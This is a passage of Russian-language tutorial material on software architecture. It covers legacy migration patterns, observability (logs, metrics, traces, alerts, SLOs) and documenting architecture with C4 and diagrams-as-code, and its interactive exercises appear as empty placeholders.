    Слой предотвращения порчи (ACL, anti-corruption layer) — код на границе между новым и старым, который переводит чужую модель данных в свою. Его задача — не дать странностям старой системы «протечь» в новый код.

    Житейски: переводчик на переговорах. Вы не учите японский ради одной встречи — рядом сидит переводчик. Он знает, что «мы подумаем» значит «нет», и переводит смысл, а не слова. Когда переговоры закончатся, переводчика отпускают, и ваш язык остался чистым.

    Вот запись клиента, как её хранит старая база. Переведите её поле за полем и посмотрите, сколько скрытого знания сидит в переводчике.

    🏚 Старая запись CLNT

    Так её отдаёт монолит

    🏠 Модель нового сервиса

    Так её видит новый код

    Когда нужен

    • Новое вынуждено читать или писать в старую систему во время миграции.
    • Интеграция с чужой системой, на модель которой вы не влияете (партнёр, банк, государство).
    • Старая модель явно кривая, и вы не хотите тащить её дальше.

    Чем платим

    • Ещё один слой кода, который надо писать, тестировать и сопровождать.
    • Кто-то должен знать обе модели: переводчик без знания языка бесполезен.
    • Небольшая задержка на каждое обращение.

    глава 7 · приём ветвление по абстракции (branch by abstraction)

    Когда заменяемый кусок находится внутри кода, а не за сетевой границей, душитель не работает — маршрутизировать нечем. Фасаду нечего перехватывать: вызов идёт из метода в метод. Тогда точку переключения создают в самом коде.

    Житейски: переходник в розетке. Надо поменять проводку, а приборы включены прямо в стену. Сначала все приборы переключают в переходник — ничего не изменилось, всё работает. Потом переходник подключают к новой проводке, по одному прибору. Старую проводку вынимают, когда через неё больше ничего не идёт. Абстракция здесь — это переходник: интерфейс, за которым можно подменить реализацию.

    Пройдите шаги. Обратите внимание, что каждый шаг выкатывается в прод отдельно.

    Ключевое свойство: главная ветка всегда рабочая и всегда выкатываема. Никаких веток на три месяца, никакого «большого слияния», которое разбирают неделю. Каждый шаг — маленький, обратимый и выкатывается отдельно.

    глава 8 · проверка параллельный прогон: как убедиться, что новое считает так же

    Параллельный прогон (parallel run, «теневой режим») — новая реализация получает тот же вход, что и старая; результаты сравниваются, наружу отдаётся старый. Расхождения логируются и разбираются до переключения. Именно это делал фасад на шаге 8 в истории Анны.

    Житейски: стажёр на кассе. Первую неделю новый кассир считает каждый чек рядом с опытным, но деньги выдаёт опытный. Вечером сверяют: где разошлись и почему. Иногда выясняется, что ошибался как раз опытный — десять лет подряд.

    Что это даёт

    • Проверка на настоящих данных, а не на придуманных тестовых.
    • Обнаруживаются случаи, о которых никто не помнил, — а в легаси их всегда десятки.
    • Нулевой риск: наружу идёт проверенный результат.
    • Появляется объективный критерий готовности: «расхождений меньше 0,01 % за неделю».

    О чём забывают

    • Побочные эффекты новой реализации надо отключить: она не должна писать в базу, слать письма и дёргать партнёров.
    • Двойная нагрузка — прогон стоит ресурсов.
    • Расхождение не всегда означает ошибку в новом: часто обнаруживается баг в старом, который бизнес считает фичей.
    • Нужен человек, который будет разбирать расхождения, иначе их просто перестанут смотреть.

    Разберите журнал расхождений

    Неделя прогона нового расчёта стоимости тура. Для каждого расхождения решите, что с ним делать. Решено 0 из 0.

    глава 9 · швы где резать легаси, если внутри всё связано

    Шов — место, где поведение можно изменить, не правя код вокруг. Найти швы в коде без тестов и без границ — главная работа при подходе к легаси.

    Житейски: шов на одежде. Рукав пиджака меняют, распарывая шов, а не разрезая ткань. Там, где шва нет, придётся резать по живому — дольше, рискованнее, и следы останутся. В коде так же: сначала ищут, где уже есть граница, и только потом берутся за ножницы.

    глава 9 · тесты как начать, если тестов нет вообще

    Любой из подходов выше требует страховки: как понять, что после правки ничего не сломалось? В легаси тестов обычно нет. Вот как их завести, не переписывая код.

    1
    Не писать «правильные» тесты — писать характеризующие.Характеризующий тест фиксирует текущее поведение, включая баги: «на такой вход система отвечает вот так». Цель не «проверить правильность», а «заметить изменение». Правильность здесь вторична: если поведение кривое, но от него зависят пользователи, менять его нельзя, не спросив бизнес.
    2
    Начинать с самых широких — через API или через UI.Модульные тесты требуют разрезать код, а его пока нельзя трогать. Тесты через внешнюю границу не требуют менять ничего и сразу дают страховку для рефакторинга внутри.
    3
    Применить approval-тесты для сложного вывода.Вместо ста утверждений — сравнение целого результата (JSON, отчёт, документ) с зафиксированным эталоном. Написать такой тест — минуты, а покрывает он всё сразу. При изменении эталон обновляется осознанно.
    4
    Покрывать не всё подряд, а то, что собираетесь менять.Попытка «сначала покрыть весь монолит тестами» умирает на третьем месяце. Покрывается только участок перед его правкой — и так постепенно.
    5
    Взять метрику покрытия изменённого кода, а не общего.Общее покрытие на легаси обречено расти медленно и демотивирует. Покрытие нового и изменённого кода можно требовать высоким с первого дня — и оно постепенно вытянет систему.

    глава 10 · практика что выносить первым

    Монолит турагентства, пять кандидатов на выделение. Оцените каждого. Разбор объясняет, почему порядок именно такой.

    Решено 0 из 0.

    глава 10 · задание работа с легаси

    Решено 0 из 0.

    Вся история одним абзацем. Легаси не сносят, а ремонтируют комната за комнатой. Сначала ставят входную дверь с переключателем (фасад). Потом переносят по одному куску: пишут рядом, сравнивают в тени, пускают 1 %, потом всех, переносят данные и удаляют старое. Со старой моделью разговаривают через переводчика, внутри кода меняют через абстракцию. И цель — не «убить монолит», а снять боль.
    Дальше → наблюдаемость: логи, метрики, трассировка и разбор медленного запроса по трассе

    Наблюдаемость — это способность ответить на вопрос, который вы заранее не придумали. Мониторинг отвечает «работает или нет». Наблюдаемость отвечает «почему вот у этих клиентов со вторника тормозит оформление». От неё зависит, займёт разбор пятнадцать минут или три дня.

    карта раздела о чём эта история

    Раздел — это одна история. Сначала поймём, что такое наблюдаемость. Потом вместе расследуем настоящую жалобу клиента от первого сообщения до причины. А затем по очереди разберём каждый инструмент, который нам помог. Нажмите на главу, чтобы перейти к ней.

    глава 1 · что это наблюдаемость в двух фразах

    Определение. Наблюдаемость — это свойство системы: по тому, что она сама о себе сообщает снаружи, можно понять, что происходит у неё внутри. Не заходя на серверы и не добавляя срочно новый код.

    Представьте машину. Мониторинг — это лампочка «check engine»: горит или не горит. Она заранее знает один вопрос — «всё ли в порядке?». Наблюдаемость — это диагностический разъём, куда механик подключает сканер и видит всё: температуру, обороты, ошибки каждого датчика, историю за последний час. С ним можно ответить на вопрос, которого на заводе никто не предусмотрел.

    🚦 Мониторинг

    Вопросы известны заранее: жив ли сервис? Не кончился ли диск? Больше ли ошибок, чем обычно?

    Отвечает «да / нет». Нужен всегда, но на вопрос «почему» не отвечает.

    🔬 Наблюдаемость

    Вопрос появился только сейчас: почему медленно только у тех, кто платит картой, и только после 19:30?

    Отвечает «где, у кого и почему». Мониторинг — её часть, а не замена.

    Зачем это на практике. В распределённой системе один запрос проходит через пять–десять сервисов. Когда он тормозит, каждый сервис по отдельности «работает нормально». Без наблюдаемости разбор превращается в обход кабинетов: «у нас всё хорошо, спросите соседей». С ней — в последовательность из четырёх шагов, которую мы сейчас пройдём.

    Что будет, если этим не заниматься

    глава 2 · история «оплата висит 10 секунд»: расследуем от и до

    Вечер пятницы, пик заказов. Интернет-магазин собран из сервисов: шлюз принимает запросы, «Заказы» оформляют покупку, «Антифрод» проверяет, не мошенник ли покупатель, «Оплата» списывает деньги через банк. Клиентка Анна нажимает «Оплатить» — и ждёт.

    Жмите «Дальше». На схеме подсвечивается то, на что мы сейчас смотрим, а ниже — те данные, которые видит дежурный инженер. Красным — подозрение, зелёным — снятое подозрение.

    глава 3 · три инструмента журнал, приборы и трек-номер

    В истории Анны мы использовали три разных источника данных. Их называют «тремя столпами наблюдаемости». Каждый отвечает на свой вопрос, и ни один не заменяет другой. Вот что это такое — сначала по-житейски.

    📜
    Логи — бортовой журнал

    Что это: записи о событиях. Одна строка — одно событие: «в 19:47:12 оплата заказа 7731 начала ждать соединение».

    Как в жизни: капитан записывает в журнал всё, что случилось в рейсе. Прочитав журнал, можно восстановить, что именно произошло и в каком порядке.

    📊
    Метрики — приборная панель

    Что это: числа, которые снимают каждые несколько секунд: сколько запросов в секунду, какая доля ошибок, сколько длится ответ.

    Как в жизни: спидометр и датчик температуры. Не рассказывают историю поездки, но сразу видно: едем быстро и мотор перегрелся.

    🧵
    Трассы — трек-номер посылки

    Что это: путь одного запроса через все сервисы с отметкой, сколько он пробыл в каждом.

    Как в жизни: по трек-номеру видно: «принята 12:01 → сортировка 12:40 → таможня 3 дня → доставлена». Сразу ясно, где застряло.

    Один и тот же сбой глазами трёх инструментов

    Переключайте вкладки. Это всё тот же вечер Анны — просто увиденный через разные «окна».

    Сравнение рядом

    Нажмите на строку таблицы — раскроется пояснение.

    Связующая нить — сквозной идентификатор. trace_id рождается на входе (в шлюзе) и попадает в каждую строку лога, в каждый участок трассы и в пометки к метрикам. В истории Анны именно он привёл нас от трассы к нужным строкам логов. Путь всегда один: алерт → метрика показала рост → трасса показала, какой участок виноват → логи с тем же trace_id показали, что именно случилось. Без общего идентификатора это три несвязанные системы.

    Задание: какой инструмент ответит

    Разложите вопросы по инструментам. Решено 0 из 0.

    глава 4 · логи бортовой журнал, по которому можно искать

    Лог — это запись о событии: когда, где, что случилось и с какими данными. Логи пишут все сервисы одновременно, и в общем хранилище они перемешаны, как голоса в толпе. Поэтому главное свойство хорошего лога — по нему можно искать.

    Строка — как запись от руки

    19:47:12 WARN payments: pool exhausted (10/10)

    Человеку понятно. Машине — нет: где тут сервис, где число, к какому запросу это относится? Искать можно только по кусочку текста.

    Структурированный лог — как анкета

    {"level":"WARN","service":"payments",
     "trace_id":"4bf92f35","msg":"pool exhausted",
     "active":10,"max":10,"pending":184}

    Каждое поле подписано. Можно отфильтровать, посчитать, сгруппировать и найти все записи одного запроса.

    Попробуйте сами: найдите записи Анны

    Перед вами поток логов за 10 секунд. Задача — оставить только то, что относится к запросу Анны (4bf92f35). Попробуйте в режиме строк, потом в режиме JSON.

    Показано строк: —
    
        

    Уровни логов: как не утонуть

    УровеньКогда писатьПример
    ERRORОперация не удалась, и пользователь это почувствует«списание не прошло: таймаут 15 с»
    WARNЧто-то пошло не по плану, но выкрутились«пул соединений исчерпан, ждём»
    INFOВажные шаги бизнес-процесса«заказ оплачен»
    DEBUGПодробности для разработчика. В бою обычно выключены«тело ответа банка: …»
    Три правила логов. Первое: только структурированный формат (JSON с полями), иначе по нему нельзя искать и считать. Второе: в каждой строке — trace_id. Третье: никогда не пишите в логи пароли, токены, номера карт и персональные данные. Логи читают многие, хранятся они долго, и утечка из логов — классика.
    Цена логов — объём. Логировать всё подряд на большой нагрузке дороже, чем кажется: хранилище логов бывает дороже самих сервисов. Поэтому используют уровни, выборку для частых событий и короткий срок хранения — обычно недели, а не месяцы.

    глава 5 · метрики приборная панель: что мерить и как не обмануться

    Метрика — это число, которое снимают регулярно, например раз в 15 секунд: «сейчас 70 оплат в секунду». Из таких чисел получается график. Метрики дешёвые: одно число вместо тысяч строк логов. Поэтому их хранят месяцами и именно на них вешают алерты.

    Что мерить: три готовых набора

    RED — для сервисов

    Rate — запросов в секунду.
    Errors — доля ошибочных.
    Duration — сколько длится ответ (перцентили).

    Три метрики на каждый сервис и на каждую важную ручку. Этого хватает, чтобы заметить почти любую проблему. В истории Анны именно RED-таблица показала, что красное — у оплаты.

    USE — для ресурсов

    Utilization — насколько занят.
    Saturation — сколько ждёт в очереди.
    Errors — отказы ресурса.

    Для процессора, памяти, диска, пулов соединений. Насыщение важнее загрузки: 100 % загрузки без очереди — это нормально. Пул Анны был как раз насыщен: 10 из 10 занято и 184 в очереди.

    Четыре золотых сигнала

    Задержка, трафик, ошибки, насыщение. Объединение двух предыдущих наборов — то, что Google рекомендует как минимум для любой системы.

    Интерактив: почему среднее врёт

    Ниже 100 запросов. Зелёные отвечают за 0,1–0,2 секунды, красные — за 5–7 секунд. Двигайте ползунок и следите: среднее почти не меняется, а людям уже плохо. Перцентиль (например, p99) — это время, быстрее которого ответили 99 % запросов. Он показывает хвост, который среднее прячет.

    3 %
    Среднее: — p50 (медиана): — p95: — p99: —
    И ещё одна ловушка: p99 нельзя усреднять между узлами. Среднее из перцентилей не является перцентилем. Узел с 10 запросами и узел с миллионом дадут «средний p99», не имеющий отношения к жизни. Правильно так: собирать гистограммы (сколько запросов попало в каждую корзину по времени) и считать перцентиль по их сумме.
    Ограничение метрик — кардинальность. Так называют число разных значений у метки. Метка «сервис» — десяток значений, это нормально. Метка «id клиента» — миллионы, и хранилище метрик взорвётся. Поэтому метрики отвечают «сколько и когда», а «у кого именно» — это уже к логам и трассам.

    глава 6 · трассы что такое трасса, спан и «узкое место»

    Слово «трасса» звучит мутно, а вещь простая. В истории Анны именно трасса за один взгляд показала, куда ушли 10 секунд. Разберём её по частям.

    Житейски: чек из автосервиса. Машину чинили 4 часа. В чеке построчно: диагностика — 20 минут, снять колесо — 10, ждали деталь со склада — 3 часа, поставить — 15, проверка — 15. Пока у вас только итог «4 часа», разговаривать не о чем. Как только есть построчный чек — сразу видно, где ушло время и с кем об этом говорить.

    Три слова, и всё станет понятно

    Спан (span)

    Одна строчка в чеке. Кусок работы с началом, концом и именем: «запрос к базе», «вызов сервиса доставки», «расчёт скидки». У спана есть длительность и могут быть пометки: какой SQL, какой код ответа, сколько строк.

    Трасса (trace)

    Весь чек целиком. Все спаны одного запроса, связанные общим идентификатором и вложенные друг в друга: вызов сервиса содержит внутри себя запрос к базе.

    Узкое место

    Строчка, съевшая больше всего времени. Именно строчка, а не сервис: внутри сервиса, который «работал 3 секунды», обычно оказывается один запрос, который работал 2,9 из них.

    Интерактив: трасса Анны, спан за спаном

    Это настоящий «водопад» — так выглядит трасса в Jaeger или Grafana Tempo. Каждая полоса — спан, её длина — время, отступ — вложенность. Нажимайте на строки: увидите, что записано внутри спана. Найдите, где ушло время.

    Как трасса собирается — по шагам

    Жмите «Дальше»: видно, откуда берётся каждая строчка чека и что их связывает.

    Тренировка: найдите узкое место сами

    Три новых случая. Каждый прямоугольник — участок (спан), длина пропорциональна времени. Выберите случай и нажмите на участок, который считаете причиной.

    Выберите участок, который вы бы чинили первым.
    Все трассы хранить дорого. Поэтому сохраняют выборку — обычно 1–10 % запросов. Но настраивают так, чтобы все ошибочные и все медленные сохранялись целиком: именно такие, как у Анны, и нужны при разборе.

    глава 7 · алерты пожарная сигнализация, которой верят

    Алерт (оповещение) — это правило над метриками: «если условие держится N минут — позвать человека». В истории Анны алерт разбудил дежурного за восемь минут до её жалобы.

    Житейски: пожарная сигнализация. Хорошая сигнализация срабатывает на дым — то есть на то, что уже опасно людям. Плохая сигнализация звенит каждый раз, когда кто-то жарит котлеты. Через неделю её отключают, и в день настоящего пожара она молчит. С алертами ровно так же: звенеть на симптомы, которые чувствуют пользователи, а не на всё подряд.

    Плохие алерты

    • «Загрузка процессора выше 80 %» — и что? Может, всё работает отлично.
    • «Узел перезапустился» — он и должен перезапускаться, это самовосстановление.
    • «В логе появилось слово ERROR» — их там сотни в день.
    • Алерты, на которые никто не реагирует. Через месяц их перестают читать, а вместе с ними и настоящие.

    Хорошие алерты

    • «Доля успешных оформлений заказа ниже 99 % пять минут подряд» — пользователю плохо прямо сейчас.
    • «Бюджет ошибок расходуется в 10 раз быстрее нормы» — к концу месяца SLO будет нарушен.
    • «Возраст самого старого необработанного сообщения больше 10 минут» — очередь встала.
    • Каждый алерт отвечает на вопросы: кому плохо, что делать и почему нельзя подождать до утра.
    Проверка качества алерта: если на него можно не реагировать — его не должно быть. Алерт, требующий действия, идёт дежурному; всё остальное идёт на дашборд и разбирается в рабочее время. Смешивание этих двух категорий — главная причина «усталости от алертов», при которой пропускают настоящую аварию.

    Задание: будить, на дашборд или удалить?

    Вы — дежурный. Решите судьбу каждого правила. Решено 0 из 0.

    глава 8 · SLO обещание и бюджет ошибок

    Анна ждала 10 секунд. Это плохо? А 2 секунды? А если такое случается с одним заказом из тысячи? Чтобы не спорить «на ощущениях», команда заранее записывает обещание в цифрах.

    Житейски: пиццерия. Пиццерия обещает: «доставим за 30 минут в 95 % случаев». Не «всегда» — это нереально: пробки, снег, курьер заболел. Из 20 пицц одна может опоздать, и обещание всё равно выполнено. Эта одна разрешённая пицца из двадцати и есть бюджет ошибок.
    🍕🍕🍕🍕🍕🍕🍕🍕🍕🍕🍕🍕🍕🍕🍕🍕🍕🍕🍕⏰ 41 мин

    Три похожих слова: SLI, SLO, SLA

    Их постоянно путают. Нажмите на строку, чтобы раскрыть пояснение.

    Интерактив: бюджет ошибок и решение «катить или нет»

    Выберите обещание (SLO) и крутите долю ошибок. Считаем, что доля ошибок держалась такой весь месяц, а в день приходит 1 млн запросов. Чёрная риска на полосе — сколько бюджета «нормально» потратить к сегодняшнему дню.

    0,05 %
    12
    0 % бюджета▮ норма к сегодняшнему дню100 %
    Бюджет на месяц: — Потрачено: — Скорость сгорания: —
    Скорость сгорания (burn rate) — во сколько раз быстрее нормы вы тратите бюджет. «1×» — ровно к концу месяца потратите всё. «14×» — как было у Анны в пятницу вечером: при таком темпе месячный бюджет кончается за два дня. Именно на скорость сгорания и настраивают лучшие алерты.

    Посчитайте в минутах и запросах

    SLO — это обещание, а бюджет ошибок — разрешённое отклонение от него. Пока бюджет не израсходован, можно рисковать и катить быстро; кончился — все силы на надёжность. Посчитайте свой.

    99,90 %
    50 млн
    40 %
    Допустимый простой в месяц: — Допустимо неудачных запросов: — Осталось бюджета: —

    глава 9 · инструменты кто за что отвечает в настоящем стеке

    В истории Анны дежурный пользовался несколькими программами: одна прислала алерт, вторая нарисовала дашборд, третья показала трассу, четвёртая нашла логи. Названий много, и они звучат как взаимозаменяемые. Это не так: у каждого своя работа. Нажмите — что делает, когда нужен и чем заменяется.

    глава 10 · проверь себя наблюдаемость

    Решено 0 из 0.

    Дальше → как записать архитектуру, чтобы её поняли: C4, ADR, arc42, сценарии качества

    Архитектура, которую не записали, живёт ровно до ухода того, кто её придумал. Этот раздел — одна история. В магазин кроссовок «Ботинок» пришёл новичок Глеб и на второй день спросил: «А почему у нас Kafka?» Никто не смог ответить. Мы пройдём путь от этого неловкого молчания до документации, которую действительно читают: карты системы в четырёх масштабах (C4), записи решений (ADR), шаблон arc42, требования к качеству в числах и тесты, которые сами следят, чтобы код не разошёлся со схемой.

    зачем это зачем записывать архитектуру

    карта раздела одна история, четырнадцать глав

    Главы идут по порядку: каждая опирается на предыдущую. Нажмите на главу, чтобы перейти к ней.

    глава 1 · завязка «а почему у нас Kafka?» — вопрос, на который никто не ответил

    Сначала — о чём вообще речь.

    Документация архитектуры (architecture documentation) — записанные ответы на три вопроса. Из чего состоит система — это схемы. Почему она устроена именно так — это решения и их причины. Какой она должна быть — это требования к качеству в числах. Записывают не всё подряд, а то, что дорого восстанавливать по памяти и по коду.
    инструкция к квартире после ремонта. В ней написано, где идёт проводка, почему розетка стоит именно здесь и какой автомат в щитке за что отвечает. Без неё новый жилец сверлит стену наугад — и попадает в кабель.

    История

    понедельникВ «Ботинок» пришёл новый разработчик Глеб. Ему дали доступ к репозиторию и сказали: «Разберись, как устроено оформление заказа, в пятницу первая задача».
    вторникГлеб находит в вики схему системы. Её нарисовали два года назад: на ней нет половины сервисов, а стрелки подписаны словом «данные». Он спрашивает Бориса, разработчика с самым большим стажем. Борис рисует на доске новую схему — сорок минут. Про сервис уведомлений он забывает.
    средаГлеб пишет в общий чат: «Почему у нас Kafka? Событий немного, RabbitMQ был бы проще». Борис отвечает: «Так исторически сложилось». Аналитик Олег находит обсуждение двухлетней давности: 340 сообщений, решение где-то в середине. Архитектор Вера, которая выбирала Kafka, ушла из компании полгода назад.

    Дальше возможны два исхода.

    Исход 1: «раз никто не знает — переделаем»

    Команда тратит два месяца на переезд с Kafka на RabbitMQ. В день запуска отдел аналитики сообщает, что больше не может пересчитать отчёт за прошлый месяц: историю событий теперь негде перечитать. Выясняется, что Kafka выбирали именно ради этого. Ещё месяц уходит на откат.

    Исход 2: пять минут чтения

    Кто-то открывает в репозитории файл docs/decisions/0007-kafka-dlya-sobytiy-zakazov.md. Там написано: аналитике нужно перечитывать события за 30 дней; складу, уведомлениям и аналитике нужно читать один поток независимо. Спор закрыт. Или открыт заново — но осознанно, с новыми фактами.

    Четыре работы документации

    🧠 Память проекта

    Люди уходят, память команды уходит вместе с ними. Записанное «почему» остаётся. Решения перестают обсуждать по кругу каждые полгода.

    🧭 Онбординг

    Новичок за день понимает, где что лежит, вместо месяца расспросов. Каждый рассказывает свою версию — документ одну.

    🤝 Согласование

    Бизнес, разработка, эксплуатация и безопасность смотрят на одну картинку и спорят о решении, а не о том, как система устроена.

    🔎 Аудит

    Служба безопасности, регулятор, внешний аудитор спрашивают: где персональные данные, кто к ним ходит, кто и когда принял решение. Ответ находится за минуты.

    Как не надо: документация, которую никто не читает

    Документацию часто ругают справедливо. Вот пять её болезней. Почти все лечатся одним правилом: меньше, но правда.

    Кладбище в вики

    Пятьсот страниц, последняя правка два года назад. Никто не знает, что из этого правда. Читать бесполезно, удалить страшно.

    Картинка без легенды

    Квадратики, стрелки, три цвета. Что значит синий, что значит пунктир — каждый понимает по-своему.

    Документ для галочки

    Восемьдесят страниц шаблона ради сдачи этапа. Написан один раз, открыт один раз — на приёмке.

    Пересказ кода

    Описание каждого класса и метода. Устаревает с первым коммитом. На вопрос «почему» не отвечает вовсе.

    Всё в голове у Веры

    Самая распространённая форма. Работает идеально — до отпуска, болезни или увольнения Веры.

    Как надо

    Пишем для конкретного читателя. Храним рядом с кодом и правим в тех же пул-реквестах. Записываем почему, а не только что. То, что можно проверить автоматически, проверяем автоматически.

    Интерактив: первая неделя Глеба

    У Глеба за неделю появилось шесть вопросов. Проживите эту неделю дважды: в «Ботинке», где всё держится на памяти людей, и в «Ботинке» с документацией. Нажимайте «Следующий вопрос» и следите за счётчиками.

    Потрачено часов: 0 Коллег отвлёк: 0 Неверных выводов: 0
    Что вы увидите. Без документации самые дорогие вопросы — не те, на которые долго искали ответ, а те, на которые нашли неверный: код скидок оказался не в том сервисе, прямое чтение чужой базы сломало письма. Документация экономит часы, но главное — она экономит переделки.

    глава 2 · читатели для кого пишем: одна местность — разные карты

    Заинтересованное лицо (stakeholder) — любой, кому есть дело до системы: заказчик, пользователь, аналитик, разработчик, эксплуатация, безопасность, аудитор. У каждого свои вопросы — и свой масштаб.
    карта для туриста, для таксиста и для сантехника. Местность одна. Туристу нужны музеи, таксисту — улицы с односторонним движением, сантехнику — трубы под асфальтом. Одна карта «для всех» не нужна никому: турист утонет в трубах, сантехник не найдёт люк среди музеев.

    Отсюда главное правило: сначала читатель, потом документ. Для каждого документа ответьте на три вопроса. Кто его откроет? С каким вопросом? Сколько минут у него есть? Бизнес-заказчику нужна одна страница на пять минут. Разработчику — схема компонентов и правила, которые нельзя нарушать. Дежурному ночью — инструкция «что делать, если…», а не история решений.

    Как это называется в стандарте. Международный стандарт описания архитектуры ISO/IEC/IEEE 42010:2022 говорит о том же. У системы есть заинтересованные лица, у них — интересы (concerns). Архитектуру показывают несколькими представлениями (views): каждое отвечает на интересы своих читателей. C4, arc42 и ADR, о которых дальше, — практичные способы это сделать.

    Интерактив: кто что читает

    Выберите читателя. В таблице подсветится его столбец: ●● — читает внимательно, ● — заглядывает при необходимости, — — не нужно. Ниже — его главный вопрос и сколько времени он готов потратить.

    Типичная ошибка аналитика. Написать один документ «для всех» и отправить его всем. Бизнес не дочитает до третьей страницы. Разработчик не найдёт в нём ответа на свой вопрос. Эксплуатация вообще не откроет. Лучше три коротких документа для трёх читателей, связанных ссылками, чем один длинный.

    глава 3 · C4 карта системы в четырёх масштабах

    C4-модель (C4 model) — способ рисовать архитектуру как набор карт разного масштаба. Её придумал Саймон Браун (Simon Brown). Четыре «C» — это четыре уровня: Context (контекст), Containers (контейнеры), Components (компоненты) и Code (код). Каждый следующий уровень — «приближение» к одному элементу предыдущего.
    карта: страна → город → квартал → дом. На карте страны не рисуют подъезды, на плане дома — границы областей. Вопрос «как доехать из Москвы в Казань» и вопрос «где тут лифт» решают разные карты. Но все они согласованы: дом стоит в том квартале, который отмечен на карте города.

    1 · Контекст 🌍

    Страна. Что это за система, кто ей пользуется, с какими внешними системами связана. Технологий нет. Читают все, включая бизнес.

    2 · Контейнеры 🏙

    Город. Из каких отдельно запускаемых частей состоит система: приложения, базы, брокеры. Какие технологии, по каким протоколам общаются. Читают разработчики, эксплуатация, безопасность.

    3 · Компоненты 🏘

    Квартал. Из каких крупных частей состоит один контейнер и кто за что отвечает. Читают разработчики этого контейнера.

    4 · Код 🏠

    Дом. Классы и интерфейсы одного компонента. Обычно генерируется средой разработки. Вручную рисуют редко и только самое важное.

    Контейнер в C4 — не контейнер Docker. Это любая отдельно запускаемая или отдельно развёртываемая часть, в которой выполняется код или лежат данные: веб-приложение в браузере, мобильное приложение, серверный сервис, база данных, брокер сообщений, папка в облачном хранилище файлов. Слово появилось в C4 раньше, чем Docker стал популярен. Сервис заказов — один контейнер C4, даже если в Kubernetes запущено десять его копий.
    Компонент (component) в C4 — группа связанных функций за понятным интерфейсом внутри одного контейнера. В Java это обычно несколько классов вокруг одного Spring-бина, в Go — пакет. Компонент нельзя развернуть отдельно: он живёт внутри своего контейнера.

    Интерактив: зум по «Ботинку»

    Перед вами одна система — магазин «Ботинок» — на схеме контекста. Элементы со значком 🔍 можно открыть: нажмите на «Ботинок», и вы «провалитесь» на уровень контейнеров. Там откройте «Сервис заказов», потом «Оформление заказа». Вернуться можно по «хлебным крошкам» сверху. Любой другой элемент покажет свою карточку справа внизу.

    Затем переключите схему в режим «С ошибками нотации». Появятся красные номера — это типичные ошибки, которые встречаются почти в каждой компании. Нажимайте на номера (или на строки под схемой) и читайте, что не так и как исправить. Ошибок всего десять, на всех четырёх уровнях.

    Как читать схему. Голубоватые прямоугольники — наши элементы, серые — чужие системы, которые мы не можем менять. Пунктирная рамка — граница: всё внутри неё относится к одной системе или одному контейнеру. Цилиндр — хранилище данных, «таблетка» — брокер сообщений. Подпись стрелки читается по направлению стрелки, в квадратных скобках — протокол или технология.
    Что вы увидите. Каждый уровень согласован с соседним. Три стрелки, которые на уровне 1 выходили из «Ботинка», на уровне 2 выходят из конкретных контейнеров. Стрелка «Оформляет заказ» к сервису заказов на уровне 3 приходит в конкретный компонент — контроллер. Если в схемах разных уровней стрелки не сходятся, одна из схем врёт.

    глава 4 · нотация правила хорошей схемы и ещё три вида схем

    C4 не требует особых фигур или цветов: рисовать можно чем угодно. Зато у неё есть короткий список правил, по которому любую схему можно проверить за минуту. Все десять ошибок из зума нарушают какое-то из них.

    Схема целиком

    • Заголовок с типом и границей: «[Схема контейнеров] «Ботинок»».
    • Легенда: что значат фигуры, цвета, пунктир.
    • Сокращения понятны всем или расшифрованы в легенде.
    • Дата или версия — чтобы было видно, насколько схема свежая.

    Каждый элемент

    • Имя.
    • Тип: человек, программная система, контейнер, компонент.
    • Технология — обязательно у контейнеров и компонентов.
    • Описание в одно предложение: за что отвечает.

    Каждая стрелка

    • Направлена в одну сторону.
    • Подписана глаголом по направлению стрелки: «Публикует события о заказах».
    • Между контейнерами — ещё и протокол: [JSON/HTTPS], [SQL/JDBC], [Kafka].
    • Цвет не единственный носитель смысла: схему распечатают в чёрно-белом, её увидит дальтоник.

    Как выглядит хороший элемент и хорошая стрелка

    квадрат «OrderSvc» без типа и описания; стрелка «использует» в обе стороны.
    Сервис заказов [Контейнер: Java, Spring Boot] — «Принимает заказы, списывает оплату, публикует события о заказах». Стрелка: «Публикует события «заказ создан»» [Kafka, JSON].
    Слово «использует» подходит к любой стрелке на свете и поэтому ничего не сообщает. Двусторонняя стрелка прячет два разных взаимодействия: кто кого вызывает и кто от кого зависит.

    Ещё три вида схем

    Кроме четырёх уровней в C4 есть три дополнительные схемы. Выберите, чтобы посмотреть пример для «Ботинка».

    Динамическая схема вживую: оформление заказа

    Динамическая схема показывает те же контейнеры, что и схема уровня 2, но только участников одного сценария, а стрелки пронумерованы по порядку. Пройдите сценарий по шагам.

    Типичные ошибки — одной строкой

    Нажмите на пункт, чтобы раскрыть.

    Задание: на каком уровне это рисовать?

    Разложите элементы «Ботинка» по схемам. Решено 0 из 0.

    глава 5 · диаграммы как код схема, которую правят в пул-реквесте

    Диаграмма как код (diagrams as code) — схема, записанная текстом на специальном языке. Картинку по тексту рисует программа. Текст лежит в git рядом с кодом, его меняют через пул-реквест, и на ревью видно, что именно поменялось.
    ноты вместо аудиозаписи. В записи трудно поправить один такт. В нотах меняете одну ноту — и все музыканты видят, какую именно.

    Помните схему на доске, которую Борис рисовал сорок минут и забыл про уведомления? Картинка в графическом редакторе живёт так же: её рисует один человек, правит только он, а через полгода файл с исходником потерян, и остаётся PNG-снимок, который нельзя изменить. Схема-текст решает сразу четыре проблемы.

    История

    Git помнит, кто и когда добавил стрелку и в каком пул-реквесте.

    Ревью

    Изменение схемы видно построчно: «+ сервис рекомендаций, + стрелка». Его обсуждают вместе с кодом.

    Одна правда

    В Structurizr элемент описан один раз, а схемы всех уровней строятся из этого описания.

    Без мыши

    Раскладку делает программа. Никто не тратит час, двигая квадратики.

    Чем платим. Автоматическая раскладка иногда выходит некрасивой, и её приходится подправлять подсказками. Нужен инструмент, который превращает текст в картинку: в конвейере сборки или в вики. И порог входа: синтаксис надо выучить. Для схемы на один раз на совещании быстрее маркер и доска.

    Три инструмента на одном примере

    Ниже одна и та же схема контейнеров «Ботинка» на трёх языках. Под кодом разобраны главные строки.

    Что видно на ревью

    Борис добавляет сервис рекомендаций. В пул-реквесте с кодом сервиса он меняет и модель. Вот что увидят ревьюеры:

    # docs/diagrams/workspace.dsl
         orders = container "Сервис заказов" "Принимает заказы, списывает оплату" "Java, Spring Boot"
    +    recs = container "Сервис рекомендаций" "Подбирает «вам может понравиться»" "Python"
         ...
         spa -> catalog "Получает товары и цены" "JSON/HTTPS"
    +    spa -> recs "Получает рекомендации" "JSON/HTTPS"
    +    recs -> kafka "Читает события о покупках" "Kafka"

